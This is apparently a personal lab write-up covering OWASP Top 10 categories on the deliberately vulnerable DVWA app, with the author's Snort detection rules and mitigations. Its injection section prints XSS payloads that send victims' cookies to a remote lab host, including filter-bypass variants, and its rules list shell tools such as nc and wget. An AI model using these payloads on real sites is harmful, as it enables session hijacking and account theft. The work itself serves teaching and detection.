1. Broken Access Control

A. IDOR (Insecure Direct Object reference)

A typical example of broken access control is IDOR (insecure direct object reference).

IDOR can allow you to view or modify another user account. As shown below, a URL may contain a unique key/number tied to a user account. In this example, imagine this being the ending of a URL, and the unique ID is 1, which belongs to a user named “normie.”

“…account=1?Name=normie”

Just by replacing the Unique ID with a 0

“…account=0?Name=normie”

Then, sending a new request or pressing “Enter” lets you take over that account, enabling you to view and modify anything the user can access.

 “…account=0?Name=Admin”

This is extremely oversimplified, but it can help paint the picture.

B. Path Traversal / Local File Inclusion / Remote File Inclusion

I will be combining these three common examples.

These examples can be seen as outside the scope of an application—in this case, outside what DVWA should have access to read and execute.

I usually see path traversal and LFI as the same. Path traversal’s unique trait is that it uses dots and slashes (“../../”) to move through directories, whereas LFI can use either a relative or an absolute path. However, it can also use dots and slashes. Both can read files and execute malicious scripts, executables, or backdoors.

Below is an example of a path traversal vulnerability. In this case, it is reading and returning a file, which is clearly out of scope for the DVWA server.

Below is an example of a Local file inclusion. We can see that the dots and slashes were unnecessary and that we could instead use the absolute path.

Then, here is an example of a remote file inclusion. Here, instead of opening a file locally, we’re trying to get a file remotely.

Many of the risks associated with these vulnerabilities can be reduced by following the principle of least privilege. This principle involves ensuring that the permissions on all files and directories are secure and that all applications and people have ONLY the necessary permissions to do their tasks.

In the case of DVWA, the “File inclusion” module was secured by hard-coding the names of the files to be included in the code, eliminating any attack vectors. OWASP recommends the same and removes any user input.

In the case of IDOR, it is recommended that identifiers be kept out of URLs and POST requests, and that access control checks be implemented for anything the user tries to access.

Snort rules

I made two simple Snort rules to detect path traversal, as seen in the image below. They work. However, some things about the two are essential to know.

This first rule checks whether the HTTP Method is “GET.” If it is, it will check for a “../” anywhere in the URI. You will notice that the formatting is a bit weird with this rule, but it is how Snort reads it. Placing the “content” elsewhere will have Snort scream at you when you attempt to test your configurations.

To better understand it, we can start with the first “content” and read it as…

“I’m looking for “GET.”

Where do you want me to look? “In the http_method”

I’m looking for “../”

Where am I looking for this? “in the http_uri”

alert TCP any any -> any 80 (\
msg: "Possible Path Traversal attempt";\
content: "GET";\ 
http_method;\
content: "../";\
http_uri:\
sid: 1000027;\
rev:1;\
)

For this second rule, which I used to explain the format of Snort rules.

It examines the specific URL and finds content within it that matches “../.”

alert TCP any any -> any 80 (\
Msg: "Possible Path Traversal attempt 2";\
uricontent:"/vulnerability/fi/?page=";\
content:"../";\
sid: 1000028;\
rev:1;\
)

The first rule can detect path traversals across multiple URLs because it reads the GET request. The downside is that it will generate many false positives.

The second rule focuses on a single URL, resulting in fewer false positives.

The third rule I want to mention in this section is shown below. It can be used to detect remote file inclusions. Like the last rule, it focuses on 1 URL.

This is the first rule where I use PCRE. It’s regex. I put it so that it follows the URL we’re looking at and checks whether it’s HTTP or HTTPS. The “?” after HTTPS tells Snort, “There may or may not be an ‘S’ here.” The hex numbers after “https?” are just “://.” When it comes to PCRE, I recommend having the HTML Encoding Tables on the side.

alert TCP any any -> any 80 (\
msg: "Possible Remote File Inclusion attempt";\
uricontent:"/vulnerability/fi/?page=";\
pcre:”/\?page=https?\x3a\x2f\x2f/i”;\
sid: 1000029;\
rev:1;\
)

2. Cryptographic Failures

The second category, as the title says, is when cryptography fails or is unused. This can happen with data in transit, at rest, or in use. 

A. Insecure data transmission, also known as “data in transit,” can be done using insecure protocols, such as HTTP, FTP, and SMTP. 

Now, DVWA does not have a specific section for this vulnerability, but the website is built using HTTP, which allows login credentials to be transmitted in plaintext. Below is a picture of Wireshark capturing the DVWA credentials.

It is important to use HTTPS instead of HTTP to avoid this type of exposure. I won’t go into changing the entire unsecured website to a secure version. Still, in a scenario where you did have HTTPS running. Inside your /etc/apache2/sites-available/ folder, you will find the HTTPS configuration files. Inside the configuration, you can specify which protocols the site will use (e.g., which versions of SSL and/or TLS) and which Ciphers. Only strong protocols and ciphers should be listed, as listing weak ones can lead to a downgrade vulnerability.

B. Data at rest is when sensitive information is on disk or in a database, not being used and not being sent across the wire. It is best practice to store the password hash rather than the password in plaintext. I still have not touched on it, but an SQL injection can be performed in DVWA, exposing the table that stores the username and password hashes.

 The result shown above is after running the SQL injection. We can get an MD5 hash, which can be easily cracked online for free.

This leads to… making sure that the hashing algorithms in use are not deprecated and are strong, preferably those with salting. MariaDB supports modern hashing algorithms such as Argon2id, bcrypt, and PBKDF2, which automatically salt passwords.

C. Data in use is data in memory that is being used by an application. To reduce the risk of exposure, you would also want to use strong salted hashes or tokenization instead of plaintext information when the data is in use. That way, even if an attacker got their hands on it, it would be rendered useless because they don’t have the secret key or the mappings.

3. Injections

Injections is the category where I created the majority of my Snort rules. I won’t teach SQL, Bash, PowerShell, or JavaScript in this section.

Usually, when thinking of injections, you will think of user input fields, like login pages and URLs, that do not sanitize the user input. But know that many more vectors exist and can be used.

The first type of injection I’m going to cover is SQL Injections. In DVWA, we get a scenario that asks us to input a user ID to retrieve a user’s first name and Surname. The goal of this section is to obtain the users’ passwords/hashes.

For low and high difficulty levels, we can input the ID, then escape the query using a single quotation mark, followed by the malicious query. The only difference between high and low difficulty is that, in high difficulty, the developer tries to redirect you to a second page to log in.

Use the query shown in the image below. It can be used in Low and High.

The medium difficulty replaces the input field with a drop-down menu. You can simply inspect the web page and replace the value of the shown option in the drop-down menu with your query.

The impossible level has the queries parameterized. This basically means that user input is separated from the query being run, thus providing protection against injection attacks.

Below is the Snort rule I created to help detect SQL Injections.

Snort rule to detect SQL Injections

# The rule below was used, tested, and tailored to Low Difficulty on DVWA

# Rule can be further enhanced by adding quotation variants and additional symbols and SQL commands. 
# If source code/normal traffic contains some SQL Commands, you can take it off to get rid of the false positives. ie. I took off "LIKE" # for the High Difficulty.
# I also had to get rid of "=" or "%3D", and the SQL commands SELECT, and FROM on specific difficulties. 
# You can adjust the URI content as needed. I had to remove "(^|&)?id=[^&]*?" for the Medium and High difficulty.

alert tcp any any -> any 80 (\
msg: "SQL Injection detected - /vulnerabilities/sqli";\
sid: 1000024;\
uricontent: "/vulnerabilities/sqli/?id="; nocase;\
pcre:"/(^|&)?id=[^&]*?(%20|%22|%23|%27|%3B|%3C|%3D|%3E|%7C|\b(?:UNION|AND|OR|SELECT|NULL|CONCAT|FROM|EXEC|IF|SLEEP|CONVERT|HAVING|INSERT|UPDATE|DELETE|DROP|CREATE|CAST|LIKE|IN)\b|--)/im"; nocase;\
)

The second Injection I want to bring up is a variant of SQL Injection known as Blind SQL Injection. Besides the changes in msg, SID, rev, and URL, the rules are the same.

Blind SQL Injection has 2 different methods. One is the Boolean method, which we can see in DVWA: after entering an existing ID, the server will let us know. This is our TRUE.

When inputting something that doesn’t exist, it’ll tell us that it’s missing. This is our FALSE.

The second is the sleep method, which you would usually see when the website doesn’t return an error. In the picture above, in the bottom left corner, I use a sleep command. The injection was successful if we told the website to sleep for 5 seconds in our query. If the response time isn’t long, the injection isn’t successful.

I won’t dive deep into this one, as the mitigations and examples are the same as the normal injections. These two methods are usually automated with SQL Map or a custom script.

Another great resource for learning Web Security and practicing your scripting is NATS by OverTheWire. Here’s a little script of mine and its output that is related to a blind SQL injection. Here I was abusing the boolean method to find out which characters were present in the password for the next room, then slowly put a string together, revealing the full password.

Below is the rule to help detect blind SQL Injections. Again, it’s the same as the normal SQL Injection.

Snort rule to detect blind SQL Injection

# Follow the same notes as brought up in the normal SQL Injection

alert tcp any any -> any 80 (\
msg: "SQL Blind Injection detected - /vulnerabilities/sqli_blind";\
sid: 1000025;\
uricontent: "/vulnerabilities/sqli_blind/?id="; nocase;\
pcre:"/(^|&)?id=[^&]*?(%20|%22|%23|%27|%3B|%3C|%3D|%3E|%7C|\b(?:UNION|AND|OR|SELECT|NULL|CONCAT|FROM|EXEC|IF|SLEEP|CONVERT|HAVING|INSERT|UPDATE|DELETE|DROP|CREATE|CAST|LIKE|IN)\b|--)/im"; nocase;\
)

Now, moving away from databases, we’re looking at our third section: command injection. These are known as remote code execution, and their commands can vary. The rule will contain examples that can be picked up on Linux and Windows Command Injection.

Starting with the low-difficulty DVWA, we’re asked to enter an IP address to ping. We can simply add “&&” and the command we want after it. As well as a semicolon.

As for medium difficulty, the developer has created a small blacklist to prevent the use of commands in low difficulty. In this case, we can use the “&” symbol to run the ping command in the background.

Then, finally, for the High Difficulty, the developer added more items to the blacklist but had a typo for the “|” symbol. This allows us to run the command shown below.

DVWA’s impossible difficulty has it so that there are multiple validation checks to ensure that an IP address is being passed in.

Snort rule to detect Command Injections

# It can be improved by making it so that the keywords are detected when there is no space to their left. Although this is a weakness, the Symbols can help in detection. Some fixes will only lead to more false positives.
# Adjust URL, Addresses, and add additional keywords as seen fit.

alert tcp any any -> any 80 (\
msg: "Command Injection detected - /vulnerabilities/exec";\
sid: 1000023;\
uricontent: "/vulnerabilities/exec"; nocase;\
pcre:"(%26|%2A|%3B|%3C|%3E|%3F|%60|%7C|\b(?:CMD|BASH|SH|POWERSHELL|ECHO|NC|WGET|UNAME|CD|LS|DIR|WHOAMI|IFCONFIG|ID|HOSTNAME|IPCONFIG|CAT|TAIL|HEAD|CHMOD)\b.*?|--)/im";
)

Reflected XSS is the 4th injection I will bring up.

Reflected XSS is usually initiated after a social engineering attack. So, for example, if a bank website has this vulnerability, a malicious link can be sent to a victim that will trigger a specially crafted request to the website. Let’s say that the crafted request aims to get the victim’s cookie. If the attack is successful, the attacker can get into the victim’s account using the cookie.

We can see some examples of this through DVWA.

The Low difficulty for the Reflected XSS section is just an input field asking for your name. The source code does not check or validate user input. The overall objective of this section in DVWA is to get a user’s cookie and hijack their session.

We can set up a remote server to receive the data generated by the script below. The remote server in this case is just a Python HTTP server.

<script>window.location=’http://172[.]16[.]0[0]102:8080/?cookie=’ + document.cookie</script>

The output from the remote server is shown below. In this scenario, the attacker has the victim’s cookie and can use it to hijack their session.

While performing this injection, Snort was also running and detected the XSS reflection attack.

The medium-difficulty source code is looking for any instance of “script”, but it can be exploited using the script shown below. The reason why it works is that it’s case-sensitive. We can just capitalize “script”. The Snort rule will also activate, and the remote session will receive the victim’s cookie.

<SCRIPT><SCRIPTwindow.location=’http://172[.]16[.]0[0]102:8080/?cookie=’ + document.cookie</script>

The High difficulty has removed the “script” pattern. We can exploit HTML Events using the script below. The Snort rule will also detect this, and the remote server will receive the victim’s cookie.

<img src/onerror=”var cook = document.cookie; document.location=’http://172[.]16[.]0[.]102:8080/?cookie=’ + cook”>

For the impossible mode, it uses “htmlspecialchars()”, which looks for special characters like “>” and “<” and turns them into “&lt” and “&gt”. This helps prevent input from being interpreted by the browser as malicious code.

Snort rule to detect Reflected XSS

alert tcp any any -> any 80 (\
msg: "XSS Reflection  Injection detected - /vulnerabilities/xss_r";\
sid: 1000030;\
uricontent: "/vulnerabilities/xss_r/?name="; nocase;\
pcre:"/(^|&)?id=[^&]*?(%21|%26|%27|%28|%29|%2A|%2D|%2E|%2F|%3B|%3C|%3D|%3E|%60|%7C|\b(?:EVAL|UNESCAPE|ATOB|IMG|SRC|ONERROR|ALERT|PARAMETER|VALUE|DOCUMENT.COOKIE|DOCUMENT.LOCATION|DOCUMENT|PROMPT|CONFIRM|ONLOAD|ONMOUSEOVER|SCRIPT)\b|--)/im"; nocase;\
)

The Fifth Injection is DOM XSS.

For this injection, the user clicks on a specially crafted malicious link. The request will be sent to the web server, but the script will only run on the client side. The way that the website loads will be affected by the script, so this XSS is client-sided.

In this section of DVWA, we are given a drop-down menu to select the user’s language.

Instead of entering our script in an input field, we will have to enter it in the URL. Initially, the URL will look like this… It’s just a path.

But after clicking on the “Select” button, the URL will be updated. Now we can replace “English” with our scripts.

In the Low difficulty of this section, it will not check/validate the input. Use the script below to connect to a remote server and collect the victim’s cookie.

default=<script>window.location=’http://172[.]16[.]0[.]102:8080/?cookie=’ + document.cookie</script>

Below is an image showing what the remote server will see from the script used above.

We can take that cookie, inspect the page, and replace our current cookie with the victim’s cookie to hijack their session.

Below is the switch from Unknown to the Admin user.

For the medium difficulty of this section, the source code will remove the usage of “script”. Just like how we did in the reflective XSS, we can use HTML events.

English</select><img src/onerror=”var cook = document.cookie; document.location=’http://172[.]16[.]0[.]102:8080/?cookie=’ + cook”>

Again, this is the output on the remote server after running that script.

For the high difficulty in this section, the source code whitelisted the options shown in the drop-down menu.

Though we’re able to add in our script after the path, followed by a “#”.

?#default=<script>window.location=’http://172[.]16[.]0[.]102:8080/?cookie=’ + document.cookie</script>

This will once again send the victim cookie to the remote server.

In impossible mode, it relies on the browser to perform the proper encoding when making requests.

Snort rule to detect DOM XSS

# Did not work on High, as anything after the # is not sent to the server

alert tcp any any -> any 80 (\
msg: "XSS DOM Injection detected - /vulnerabilities/xss_d";\
sid: 1000031;\
uricontent: "/vulnerabilities/xss_d/?default="; nocase;\
pcre:"/(^|&)?default=[^&]*?(%26|%27|%28|%29|%2A|%2D|%2E|%3B|%3C|%3D|%3E|%60|%7C|\b(?:EVAL|IMG|SRC|ONERROR|ALERT|VALUE|DOCUMENT.COOKIE|DOCUMENT.LOCATION|DOCUMENT|DOCUMENT.WRITE|DOCUMENT.CREATEELEMENT|ONLOAD|ONMOUSEOVER|ONERROR|SCRIPT|ELEMENT.ADDEVENTLISTENER|GETELEMENTBYID|INNERHTML|SETATTRIBUTE|ELEMENT.INNERHTML|ELEMENT.SETATTRIBUTE|HISTORY|PUSHSTATE|HISTORY.REPALCESTATE)\b|--)/im"; nocase;\

)

The sixth Injection I’ll bring up is stored XSS.

This XSS is not like the others, which only run once. When this vulnerability is exploited, the script will persist on the web server and run whenever other victims visit the affected website.

This section in DVWA is just a guestbook that asks visitors to enter their name and a message. The goal is to redirect victims to another webpage. I only used alerts on this one, but you can use the scripts from the other XSS attacks to redirect to a different page.

Inside DVWA Low, the input will not be validated.

In the message box, you can put the script below. You can place anything in the name field.

<script>window.location=’http://172[.]16[.]0[.]102:8080/?cookie=’ + document.cookie</script>

For Medium difficulty, the source code tried to add protection for the message field.

Inspect the page, and change the name input size from 10 to 100.

This will allow you to put the code in the name field. It won’t work if you attempt to run it in the message field.

<sc<script>ript>window.location=’http://172[.]16[.]0[.]102:8080/?cookie=’ + document.cookie</script>

Can try 

<img src/onerror=”var cook = document.cookie; document.location=’http://172[.]16[.]0[.]102:8080/?cookie=’ + cook”>

For the high difficulty, the source code adds protection in both fields.

We can use the HTML events. Put the code in the name field, and you can put a random message.

Inspect the page, and change the name input size from 10 to 100. Use the script below.

<img src/onerror=”var cook = document.cookie; document.location=’http://172[.]16[.]0[.]102:8080/?cookie=’ + cook”>

The impossible mode uses “htmlspecialchars()” to help prevent XSS attacks.

Snort rule to detect Stored XSS

#This rule will activate the very first time the stored xss happens. Will not activate when visitors visit and are affected.

alert tcp any any -> any 80 (\
msg: "XSS Stored Injection detected - /vulnerabilities/xss_s";\
sid: 1000032;\
uricontent: "/vulnerabilities/xss_s/"; nocase;\
pcre:"/(^|&)?id=[^&]*?(%22|%26|%27|%28|%29|%2D|%2E|%2F|%3B|%3C|%3D|%3E|%5C|%60|%7C|\b(?:EVAL|UNESCAPE|ATOB|IMG|SRC|ALERT|VALUE|DOCUMENT.COOKIE|DOCUMENT.LOCATION|DOCUMENT|&LT|&GT|&AMP|&QUOT|PROMPT|CONFIRM|ONLOAD|ONMOUSEOVER|ONERROR|ONBLUR|ONFOCUS|ONMOUSEDOWN|HREF|BACKGROUND|SCRIPT)\b|--)/im"; nocase;\
)

4. Insecure Design

This category can be confusing, but it means there should be more thinking during the design phase. Using things like a secure development lifecycle, continuous threat modeling, and following security principles.

It does not have foresight into which threats or vulnerabilities may arise once something is launched. An example is when the HTTP protocol was created. Security was not a concern, as it was used on private academic, research, and government networks. But as the internet grew and went public, the lack of encryption quickly became a security flaw.

5. Security Misconfiguration

Now, for this section, I usually have three big things come to mind, though there are 20 CWEs mapped to it.

With the first one being debloating your workstation or server. This means removing anything unnecessary from the system. This will help reduce the attack surface of that device, giving the attacker fewer opportunities to exploit it.

This is not just applications and services. It can be Ports, accounts, and privileges. If you are running a web server, you must review plugins and any additional directories/pages that may exist by default. The last thing you’ll want is a compromise via an XSS through an old chat room plugin built into your web server folders.

The second is system hardening. Most systems/servers do not come pre-hardened, and organizations need to do so to maintain compliance with regulations and industry standards. Most organizations already have this automated, but a good resource for hardening is the Center for Internet Security (CIS) Benchmarks.

They create benchmarks, which are comprehensive manuals that help people and organizations secure and harden their systems. This can be Linux servers, workstations, Windows servers, cloud instances, and many more. They’re extremely comprehensive and can reach the thousand-page mark.

The third one is showing too much information. An example is when you try to access a specific page on my web server that doesn’t exist, and the 404 error page appears, revealing the exact version and type of server running. This helps the attacker narrow down their search for exploits specific to that version.

This can be mitigated by simply removing the error message or putting a different 404 page/message.

6. Using Vulnerable and Outdated Components

Legacy servers and applications are (sadly) common in most companies. These are usually critical systems that have not been upgraded or migrated to secure, maintained versions. Reasons can include complexity, specific applications not being supported in upgrades, cost, or all of the above.

For these types of systems, you have to make sure they are hardened, debloated, monitored, and, if possible, scanned for vulnerabilities occasionally and patched. Sometimes, scanning may not be an option as it can bring the system down. They will also have to be placed on their own VLAN.

It is important to follow these security measures, as it is extremely easy for someone to exploit these systems, given that database exploits are readily and publicly available.

7. Identification and Authentication Failures

This section is very heavy on password attacks. What sticks out here is just making sure that the appropriate policies are in place to counter password attacks. Having policies like…

• Password length and complexity
• Password attempts
• Not having knowledge-based questions
• Not having multifactor authentication enabled

Some other things to look out for are…

• Using default credentials
• Reusing tokens/ non-expiring tokens

# Can be further enhanced by adding http_method; content: “POST”, as well as changing the “Flow” and “Flowbit” options, as well as using a more specific uricontent.

alert tcp any any -> any 80 (\
msg: "Potential Brute Force Attack";\
sid: 1000022;\
Flow: established,from_client;\
Uricontent: “/vulnerabilities/brute”;\
detection_filter: track by_src, count 5, seconds 60;\
)

8. Software and Data Integrity Failures

When it comes to this category, I immediately think of the hashes shown to you on a tool’s download screen.

You are supposed to get the hash of the tool/software/update AFTER you download it and compare it to the hash shown on the site. They are supposed to match, and if they do not, it is a strong indicator that the software/tool has been tampered with.

An example of failure in this category is not having a hash AT ALL or any other way to check the integrity of what you are bringing into your environment.

Here is an example of there being a hash when downloading a tool. I can use Pestudio, a tool I currently use for malware analysis.

As I mentioned before, they give you a hash to compare against.

Running “Get-FileHash …” on the file path in PowerShell can give you the hash, as shown below.

The hash we get in PowerShell seems to match the hash on the website, indicating that the zip file has not been tampered with.

What about the stuff that is already running on our systems? We can verify the signatures of running applications/processes. I know how to do this using a Sysinternals tool called Process Explorer. Inside Process Explorer, right-click on any process you want to verify, click on properties, and then click on the image tab. Here, there will be a Verify button to check if the signature is legit.

On Linux, you will also want to make sure you are using safe and trusted repositories. There will be times when you can check hashes, and most Linux repos use PGP keys to sign their packages.

9. Security Logging and Monitoring Failures

Failure in this category can occur simply by not logging the basics. (failed and successful logins, high network activity, errors, web attacks/recon, etc). Make sure your systems and their applications/services are logging and forwarding to an SIEM. Do not store logs locally and continuously revise your detection/alerting rules.

A big one I see is not keeping all your logs in a certain consistent format. Sometimes, logs can also contain too little or too much information that can help an attacker. Make sure the logs and archive folders for older logs follow a consistent format, and that the folders have unique names so they do not overwrite each other.

10. SSRF

The final category will take us back to the first category. An example of Server-Side Request Forgery has already been shown.

Specifically, the Remote File Inclusion example.

The main things that I see that make up a server-side request forgery are

• An attacker is attempting to target a server that they do not have direct access to
  • This can be because they are using a whitelist, Firewalls, or any other sort of ACLs to limit access to that server
• There is a vulnerable web server between the attacker’s machine and the target server
  • This server is whitelisted to communicate with the target server
• The attacker will use specifically crafted URLs like the one shown above
  • It will seem as if the server is attempting to access internal and external machines.

Now, the URL shown in that image is just the same web server collecting a file from itself via a different port. But the address can be either an internal or an external address.

Mitigations

Defense-in-depth

• Application
  • Disable schemas such as file ://, ftp://, and other dangerous schemas. Only allow HTTP and HTTPS
  • Validate user input
  • Make sure that a public IP address is trying to attempt the request.
• Network
  • Segment public-facing servers
  • Ensure firewall policies are “deny by default” and allow only the necessary internal traffic 

https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html